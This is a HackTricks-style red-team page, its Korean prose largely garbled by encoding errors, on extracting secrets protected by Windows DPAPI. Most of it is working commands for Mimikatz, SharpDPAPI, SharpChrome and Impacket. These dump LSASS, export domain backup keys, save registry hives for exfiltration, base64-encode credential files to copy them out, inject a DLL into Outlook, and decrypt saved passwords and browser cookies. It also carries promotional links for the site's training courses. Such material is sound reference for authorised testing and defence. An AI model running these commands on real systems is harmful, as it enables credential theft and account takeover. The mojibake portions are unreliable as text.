DPAPI - ๋น๋ฐ๋ฒํธ ์ถ์ถ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
DPAPI๋ ๋ฌด์์ธ๊ฐ
The Data Protection API (DPAPI)๋ ์ฃผ๋ก Windows ์ด์ ์ฒด์ ์์ ๋น๋์นญ ๊ฐ์ธ ํค์ ๋์นญ ์ํธํ๋ฅผ ์ํด ์ฌ์ฉ๋๋ฉฐ, ์ฌ์ฉ์ ๋๋ ์์คํ ๋น๋ฐ์ ์ํธ๋กํผ์ ์ฃผ์ ์์ค๋ก ํ์ฉํฉ๋๋ค. ์ด๋ ๊ฐ๋ฐ์๊ฐ ์ํธํ ํค์ ๋ณดํธ๋ฅผ ์ง์ ๊ด๋ฆฌํ ํ์ ์์ด, ์ฌ์ฉ์์ ๋ก๊ทธ์จ ๋น๋ฐ์์ ํ์๋ ํค(๋๋ ์์คํ ์ํธํ์ ๊ฒฝ์ฐ ๋๋ฉ์ธ ์ธ์ฆ ๋น๋ฐ)๋ฅผ ์ฌ์ฉํด ๋ฐ์ดํฐ๋ฅผ ์ํธํํ ์ ์๊ฒ ํด ์ํธํ ๊ณผ์ ์ ๋จ์ํํฉ๋๋ค.
๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ์ฌ์ฉ ๋ฐฉ์์ CryptProtectData and CryptUnprotectData ํจ์๋ฅผ ํตํด์์ด๋ฉฐ, ์ด ํจ์๋ค์ ํ์ฌ ๋ก๊ทธ์ธํ ์ธ์
์ ํ๋ก์ธ์ค๋ก ๋ฐ์ดํฐ๋ฅผ ์์ ํ๊ฒ ์ํธํ/๋ณตํธํํ ์ ์๊ฒ ํด์ค๋๋ค. ์ฆ, ์ํธํ๋ ๋ฐ์ดํฐ๋ ๊ทธ๊ฒ์ ์ํธํํ ๋์ผํ ์ฌ์ฉ์ ๋๋ ์์คํ
๋ง ๋ณตํธํํ ์ ์์ต๋๋ค.
๋ํ ์ด ํจ์๋ค์ ์ํธํ ๋ฐ ๋ณตํธํ ์ ํจ๊ป ์ฌ์ฉ๋๋ entropy parameter๋ฅผ ๋ฐ์ ์ ์์ผ๋ฏ๋ก, ์ด ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํด ์ํธํํ ๊ฒ์ ๋ณตํธํํ๋ ค๋ฉด ์ํธํ์ ์ฌ์ฉ๋ ๊ฒ๊ณผ ๋์ผํ entropy ๊ฐ์ ์ ๊ณตํด์ผ ํฉ๋๋ค.
์ฌ์ฉ์ ํค ์์ฑ
DPAPI๋ ๊ฐ ์ฌ์ฉ์์ ๋ํด ๊ณ ์ ํ ํค(์ดํ pre-key)๋ฅผ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช
์ ๊ธฐ๋ฐ์ผ๋ก ์์ฑํฉ๋๋ค. ์ด ํค๋ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ ๋ฐ ๊ธฐํ ์์์์ ํ์๋๋ฉฐ ์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉ์ ์ ํ์ ๋ฐ๋ผ ๋ค๋ฅด์ง๋ง ์ต์ข
์ ์ผ๋ก๋ SHA1์ผ๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค. ์๋ฅผ ๋ค์ด ๋๋ฉ์ธ ์ฌ์ฉ์์ ๊ฒฝ์ฐ it depends on the NTLM hash of the user.
์ด ์ ์ ๊ณต๊ฒฉ์์๊ฒ ํฅ๋ฏธ๋ก์ด๋ฐ, ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ํ๋ํ ์ ์๋ค๋ฉด:
- ํด๋น ์ฌ์ฉ์์ ํค๋ก ์ํธํ๋ ์ด๋ค ๋ฐ์ดํฐ๋ DPAPI๋ก ์ํธํ๋ ๊ฒ์ API ํธ์ถ ์์ด ๋ณตํธํํ ์ ์๊ณ
- ์ ํจํ DPAPI ํค๋ฅผ ์์ฑํ๋ ค๊ณ ์คํ๋ผ์ธ์ผ๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ํฌ๋ ์๋ํ ์ ์์ต๋๋ค
๋ํ ์ฌ์ฉ์๊ฐ DPAPI๋ก ๋ฐ์ดํฐ๋ฅผ ์ํธํํ ๋๋ง๋ค ์๋ก์ด master key๊ฐ ์์ฑ๋ฉ๋๋ค. ์ด master key๊ฐ ์ค์ ๋ก ๋ฐ์ดํฐ๋ฅผ ์ํธํํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํค์ ๋๋ค. ๊ฐ master key๋ ์ด๋ฅผ ์๋ณํ๋ GUID(Globally Unique Identifier)๊ฐ ๋ถ์ฌ๋ฉ๋๋ค.
master keys๋ %APPDATA%\Microsoft\Protect\<sid>\<guid> ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ๋๋ฉฐ, ์ฌ๊ธฐ์ {SID}๋ ํด๋น ์ฌ์ฉ์์ Security Identifier์
๋๋ค. master key๋ ์ฌ์ฉ์์ **pre-key**๋ก ์ํธํ๋์ด ์ ์ฅ๋๋ฉฐ, ๋ณต๊ตฌ๋ฅผ ์ํด domain backup key๋ก๋ ์ํธํ๋์ด ์ ์ฅ๋ฉ๋๋ค(์ฆ, ๋์ผํ ํค๊ฐ ์๋ก ๋ค๋ฅธ ๋ ๋ฐฉ์์ผ๋ก ๋ ๋ฒ ์ํธํ๋์ด ์ ์ฅ๋จ).
์ฐธ๊ณ ๋ก master key๋ฅผ ์ํธํํ๋ ๋ฐ ์ฌ์ฉ๋ domain key๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์กด์ฌํ๋ฉฐ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค, ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ ๊ทผํ ์ ์๋ค๋ฉด ๋๋ฉ์ธ ๋ฐฑ์ ํค๋ฅผ ํ๋ํด ๋๋ฉ์ธ ๋ด ๋ชจ๋ ์ฌ์ฉ์์ master key๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค.
์ํธํ๋ ๋ธ๋กญ์๋ ํค๋์ ๋ฐ์ดํฐ๋ฅผ ์ํธํํ๋ ๋ฐ ์ฌ์ฉ๋ master key์ GUID๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
Tip
DPAPI encrypted blobs starts with
01 00 00 00
Find master keys:
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
This is what a bunch of Master Keys of a user will looks like:
.png)
Machine/System ํค ์์ฑ
์ด๋ ๋จธ์ ์ด ๋ฐ์ดํฐ๋ฅผ ์ํธํํ๋ ๋ฐ ์ฌ์ฉํ๋ ํค์ ๋๋ค. ์ด ํค๋ SYSTEM ์ฌ์ฉ์๋ง ์ ๊ทผํ ์ ์๋ ํน์ํ ํค์ธ DPAPI_SYSTEM LSA secret์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ด ํค๋ ๋จธ์ ์์ค ์๊ฒฉ์ฆ๋ช ์ด๋ ์์คํ ์ ์ฒด ๋น๋ฐ์ฒ๋ผ ์์คํ ์์ฒด๊ฐ ์ ๊ทผํด์ผ ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ํธํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์ด ํค๋ค์ ๋๋ฉ์ธ ๋ฐฑ์ ์ด ์์ต๋๋ค ๋ฐ๋ผ์ ๋ก์ปฌ์์๋ง ์ ๊ทผํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์:
- Mimikatz๋
mimikatz lsadump::secrets๋ช ๋ น์ผ๋ก LSA secrets๋ฅผ ๋คํํ์ฌ ์ ๊ทผํ ์ ์์ต๋๋ค. - ํด๋น ๋น๋ฐ์ ๋ ์ง์คํธ๋ฆฌ์ ์ ์ฅ๋์ด ์์ผ๋ฏ๋ก, ๊ด๋ฆฌ์๋ DACL ๊ถํ์ ์์ ํ์ฌ ์ ๊ทผํ ์ ์์ต๋๋ค. ๋ ์ง์คํธ๋ฆฌ ๊ฒฝ๋ก๋:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM - ๋ ์ง์คํธ๋ฆฌ ํ์ด๋ธ์์ ์คํ๋ผ์ธ ์ถ์ถ๋ ๊ฐ๋ฅํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ๋์์์ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ํ์ด๋ธ๋ฅผ ์ ์ฅํ๊ณ exfiltrateํ ์ ์์ต๋๋ค:
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
๊ทธ๋ฐ ๋ค์ ๋ถ์์ฉ ์์คํ ์์ hives๋ก๋ถํฐ DPAPI_SYSTEM LSA secret์ ๋ณต๊ตฌํ์ฌ machine-scope blobs(์: scheduled task passwords, service credentials, WiโFi profiles ๋ฑ)๋ฅผ ๋ณตํธํํ์ธ์:
mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output
Protected Data by DPAPI
Among the personal data protected by DPAPI are:
- Windows creds
- Internet Explorer์ Google Chrome์ ๋น๋ฐ๋ฒํธ ๋ฐ ์๋์์ฑ ๋ฐ์ดํฐ
- Outlook ๋ฐ Windows Mail๊ณผ ๊ฐ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ด๋ฉ์ผ ๋ฐ ๋ด๋ถ FTP ๊ณ์ ๋น๋ฐ๋ฒํธ
- ๊ณต์ ํด๋, ๋ฆฌ์์ค, ๋ฌด์ ๋คํธ์ํฌ ๋ฐ Windows Vault(์ํธํ ํค ํฌํจ)์ ๋ํ ๋น๋ฐ๋ฒํธ
- ์๊ฒฉ ๋ฐ์คํฌํฑ ์ฐ๊ฒฐ, .NET Passport ๋ฐ ๋ค์ํ ์ํธํ/์ธ์ฆ ์ฉ๋์ ๊ฐ์ธ ํค์ ๋ํ ๋น๋ฐ๋ฒํธ
- Credential Manager๋ก ๊ด๋ฆฌ๋๋ ๋คํธ์ํฌ ๋น๋ฐ๋ฒํธ ๋ฐ CryptProtectData๋ฅผ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์ (์: Skype, MSN messenger ๋ฑ)์ ๊ฐ์ธ ๋ฐ์ดํฐ
- ๋ ์ง์คํธ๋ฆฌ ๋ด๋ถ์ ์ํธํ๋ ๋ธ๋กญ
- โฆ
System protected data includes:
- Wi-Fi ๋น๋ฐ๋ฒํธ
- ์์ฝ๋ ์์ ๋น๋ฐ๋ฒํธ
- โฆ
Master key extraction options
- If the user has domain admin privileges, they can access the domain backup key to decrypt all user master keys in the domain:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
- ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ถํ์ด ์์ผ๋ฉด, ๋ชจ๋ ์ฐ๊ฒฐ๋ ์ฌ์ฉ์์ DPAPI master keys์ SYSTEM key๋ฅผ ์ถ์ถํ๊ธฐ ์ํด LSASS memory์ ์ ๊ทผํ ์ ์์ต๋๋ค.
# Mimikatz
mimikatz sekurlsa::dpapi
- ์ฌ์ฉ์๊ฐ local admin privileges๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ฉด, DPAPI_SYSTEM LSA secret์ ์ ๊ทผํ์ฌ machine master keys๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค:
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
- ์ฌ์ฉ์์ password ๋๋ NTLM hash๊ฐ ์๋ ค์ ธ ์์ผ๋ฉด, ์ฌ์ฉ์์ master keys๋ฅผ ์ง์ decryptํ ์ ์์ต๋๋ค:
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
- ๋ง์ฝ ์ฌ์ฉ์์ ์ธ์ ์ผ๋ก ์ ์ํด ์๋ค๋ฉด, DC์ RPC๋ฅผ ์ฌ์ฉํด ๋ง์คํฐ ํค๋ฅผ ๋ณตํธํํ๊ธฐ ์ํ backup key to decrypt the master keys using RPC๋ฅผ ์์ฒญํ ์ ์์ต๋๋ค. ๋ก์ปฌ admin ๊ถํ์ ๊ฐ์ง๊ณ ์๊ณ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ์ํ๋ผ๋ฉด, ์ด๋ฅผ ์ํด steal his session tokenํ ์ ์์ต๋๋ค:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
๋ณผํธ ๋ชฉ๋ก
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
DPAPI ์ํธํ ๋ฐ์ดํฐ์ ์ ๊ทผ
DPAPI ์ํธํ ๋ฐ์ดํฐ ์ฐพ๊ธฐ
์ผ๋ฐ ์ฌ์ฉ์ ๋ณดํธ๋ ํ์ผ์ ๋ค์ ์์น์ ์์ต๋๋ค:
C:\Users\username\AppData\Roaming\Microsoft\Protect\*C:\Users\username\AppData\Roaming\Microsoft\Credentials\*C:\Users\username\AppData\Roaming\Microsoft\Vault\*- ์ ๊ฒฝ๋ก๋ค์์
\Roaming\์\Local\๋ก ๋ณ๊ฒฝํ ๊ฒ๋ ํ์ธํ์ธ์.
์ด๊ฑฐ ์์:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
SharpDPAPI๋ file system, registry ๋ฐ B64 blobs์์ DPAPI ์ํธํ๋ blobs๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\
# Search a blob inside a file
search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
์ฐธ๊ณ ๋ก SharpChrome (๊ฐ์ ๋ฆฌํฌ์งํ ๋ฆฌ์)๋ DPAPI๋ฅผ ์ฌ์ฉํ์ฌ cookies ๊ฐ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ณตํธํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
Chromium/Edge/Electron ๋น ๋ฅธ ๋ ์ํผ (SharpChrome)
- ํ์ฌ ์ฌ์ฉ์, ์ ์ฅ๋ ๋ก๊ทธ์ธ/cookies์ ๋ํํ ๋ณตํธํ (์ฌ์ฉ์ ์ปจํ ์คํธ์์ ์คํ๋ ๋ ์ถ๊ฐ ํค๊ฐ ์ฌ์ฉ์ Credential Manager์์ ํด๊ฒฐ๋๊ธฐ ๋๋ฌธ์ Chrome 127+์ app-bound cookies์์๋ ์๋ํฉ๋๋ค):
SharpChrome logins /browser:edge /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
- ์คํ๋ผ์ธ ๋ถ์(ํ์ผ๋ง ์์ ๋). ๋จผ์ ํ๋กํ์ โLocal Stateโ์์ AES state key๋ฅผ ์ถ์ถํ ๋ค์ ์ด๋ฅผ ์ฌ์ฉํด cookie DB๋ฅผ ๋ณตํธํํฉ๋๋ค:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
- DPAPI ๋๋ฉ์ธ ๋ฐฑ์ ํค (PVK)์ ๋์ ํธ์คํธ์ admin ๊ถํ์ ๋ณด์ ํ ๊ฒฝ์ฐ์ ๋๋ฉ์ธ ์ ์ญ/์๊ฒฉ triage:
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk
- ์ฌ์ฉ์์ DPAPI prekey/credkey (from LSASS)๊ฐ ์๋ค๋ฉด, password cracking์ ๊ฑด๋๋ฐ๊ณ ํ๋กํ ๋ฐ์ดํฐ๋ฅผ ์ง์ decryptํ ์ ์์ต๋๋ค:
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX
์ฐธ๊ณ
- ์ต์ Chrome/Edge ๋น๋๋ ํน์ ์ฟ ํค๋ฅผ โApp-Boundโ ์ํธํ๋ก ์ ์ฅํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํน์ ์ฟ ํค๋ ์ถ๊ฐ์ ์ธ app-bound key ์์ด๋ ์คํ๋ผ์ธ ๋ณตํธํ๊ฐ ๋ถ๊ฐ๋ฅํ๋ฏ๋ก, ํด๋น ํค๋ฅผ ์๋์ผ๋ก ๊ฐ์ ธ์ค๋ ค๋ฉด ๋์ ์ฌ์ฉ์ ์ปจํ ์คํธ์์ SharpChrome์ ์คํํ์ธ์. ์๋์ ์ฐธ์กฐ๋ Chrome ๋ณด์ ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์.
์ก์ธ์ค ํค ๋ฐ ๋ฐ์ดํฐ
- Use SharpDPAPI๋ฅผ ์ฌ์ฉํ์ฌ ํ์ฌ ์ธ์ ์ DPAPI๋ก ์ํธํ๋ ํ์ผ์์ ์๊ฒฉ์ฆ๋ช ์ ๊ฐ์ ธ์ต๋๋ค:
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
- ์๊ฒฉ ์ฆ๋ช ์ ๋ณด ๊ฐ์ ธ์ค๊ธฐ ์: encrypted data ๋ฐ guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
- ๋ง์คํฐํค์ ์ ๊ทผ:
RPC๋ฅผ ์ฌ์ฉํด domain backup key๋ฅผ ์์ฒญํ ์ฌ์ฉ์์ ๋ง์คํฐํค๋ฅผ ๋ณตํธํ:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
SharpDPAPI ๋๊ตฌ๋ ๋ง์คํฐํค ๋ณตํธํ๋ฅผ ์ํด ๋ค์ ์ธ์๋ค๋ ์ง์ํฉ๋๋ค (์๋ฅผ ๋ค์ด /rpc๋ก ๋๋ฉ์ธ์ ๋ฐฑ์
ํค๋ฅผ ์ป๊ฑฐ๋, /password๋ก ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ๊ฑฐ๋, /pvk๋ก DPAPI ๋๋ฉ์ธ ๊ฐ์ธ ํค ํ์ผ์ ์ง์ ํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์โฆ):
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
- ๋ง์คํฐํค๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ ๋ณตํธํ:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
SharpDPAPI ๋๊ตฌ๋ ๋ํ credentials|vaults|rdg|keepass|triage|blob|ps ๋ณตํธํ๋ฅผ ์ํด ๋ค์ ์ธ์๋ฅผ ์ง์ํฉ๋๋ค (์ฐธ๊ณ ๋ก /rpc๋ฅผ ์ฌ์ฉํด domains backup key๋ฅผ ์ป๊ฑฐ๋, /password๋ก ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ๊ฑฐ๋, /pvk๋ก DPAPI domain private key file์ ์ง์ ํ๊ฑฐ๋, /unprotect๋ก ํ์ฌ ์ฌ์ฉ์ ์ธ์
์ ์ฌ์ฉํ๋๋ก ํ ์ ์์ต๋๋คโฆ):
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
- DPAPI prekey/credkey๋ฅผ ์ง์ ์ฌ์ฉ(๋น๋ฐ๋ฒํธ ๋ถํ์)
LSASS๋ฅผ ๋คํํ ์ ์๋ค๋ฉด, Mimikatz๋ ์ข ์ข per-logon DPAPI key๋ฅผ ๋ ธ์ถํ์ฌ plaintext password๋ฅผ ์์ง ๋ชปํด๋ ์ฌ์ฉ์์ masterkeys๋ฅผ ๋ณตํธํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ๊ฐ์ ๋๊ตฌ์ ์ง์ ์ ๋ฌํ์ธ์:
# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX
# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
- ํ์ฌ ์ฌ์ฉ์ ์ธ์ ์ ์ฌ์ฉํ์ฌ ์ผ๋ถ ๋ฐ์ดํฐ๋ฅผ ๋ณตํธํ:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Impacket dpapi.py๋ฅผ ์ฌ์ฉํ ์คํ๋ผ์ธ ๋ณตํธํ
ํผํด์ ์ฌ์ฉ์์ SID์ password(๋๋ NT hash)๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ฉด, Impacket์ dpapi.py๋ฅผ ์ฌ์ฉํด DPAPI masterkeys์ Credential Manager blobs๋ฅผ ์์ ํ ์คํ๋ผ์ธ์์ ๋ณตํธํํ ์ ์์ต๋๋ค.
-
๋์คํฌ์์ ์ํฐํฉํธ ์๋ณ:
-
Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>
-
์ผ์นํ๋ masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}
-
ํ์ผ ์ ์ก ํด์ด ๋ถ์์ ํ๋ฉด, ํ์ผ์ ํธ์คํธ์์ base64๋ก ์ธ์ฝ๋ฉํด ์ถ๋ ฅ์ ๋ณต์ฌํ์ธ์:
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
- ์ฌ์ฉ์์ SID์ password/hash๋ก masterkey๋ฅผ ๋ณตํธํํฉ๋๋ค:
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
- ๋ณตํธํ๋ masterkey๋ฅผ ์ฌ์ฉํ์ฌ credential blob์ ๋ณตํธํํฉ๋๋ค:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>
์ด ์ํฌํ๋ก์ฐ๋ Windows Credential Manager๋ฅผ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ ์ฅํ ๋๋ฉ์ธ ์๊ฒฉ ์ฆ๋ช
(์: *_adm์ ๊ฐ์ ๊ด๋ฆฌ์ ๊ณ์ )์ ์ข
์ข
๋ณต๊ตฌํฉ๋๋ค.
์ ํ์ ์ํธ๋กํผ (โThird-party entropyโ)๏ปฟ
์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์
์ CryptProtectData์ ์ถ๊ฐ entropy ๊ฐ์ ์ ๋ฌํฉ๋๋ค. ์ด ๊ฐ์ด ์์ผ๋ฉด ์ฌ๋ฐ๋ฅธ masterkey๋ฅผ ์๊ณ ์๋๋ผ๋ blob์ ๋ณตํธํํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด๋ฌํ ๋ฐฉ์์ผ๋ก ๋ณดํธ๋ ์๊ฒฉ ์ฆ๋ช
์ ๋์์ผ๋ก ํ ๋๋ entropy๋ฅผ ํ๋ณดํ๋ ๊ฒ์ด ํ์์ ์
๋๋ค(์: Microsoft Outlook, ์ผ๋ถ VPN ํด๋ผ์ด์ธํธ).
EntropyCapture (2022)๋ ๋์ ํ๋ก์ธ์ค ๋ด๋ถ์ DPAPI ํจ์์ ํ
์ ๊ฑธ์ด ์ ๊ณต๋ ์ ํ์ ์ํธ๋กํผ๋ฅผ ํฌ๋ช
ํ๊ฒ ๊ธฐ๋กํ๋ user-mode DLL์
๋๋ค. outlook.exe๋ vpnclient.exe ๊ฐ์ ํ๋ก์ธ์ค์ ๋ํด EntropyCapture๋ฅผ DLL-injection ๋ชจ๋๋ก ์คํํ๋ฉด ๊ฐ ์ํธ๋กํผ ๋ฒํผ๋ฅผ ํธ์ถํ ํ๋ก์ธ์ค์ blob์ ๋งคํํ ํ์ผ์ ์์ฑํฉ๋๋ค. ์บก์ฒ๋ ์ํธ๋กํผ๋ ์ดํ SharpDPAPI (/entropy:) ๋๋ Mimikatz (/entropy:<file>)์ ์ ๊ณตํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๋ณตํธํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
Cracking masterkeys offline (Hashcat & DPAPISnoop)
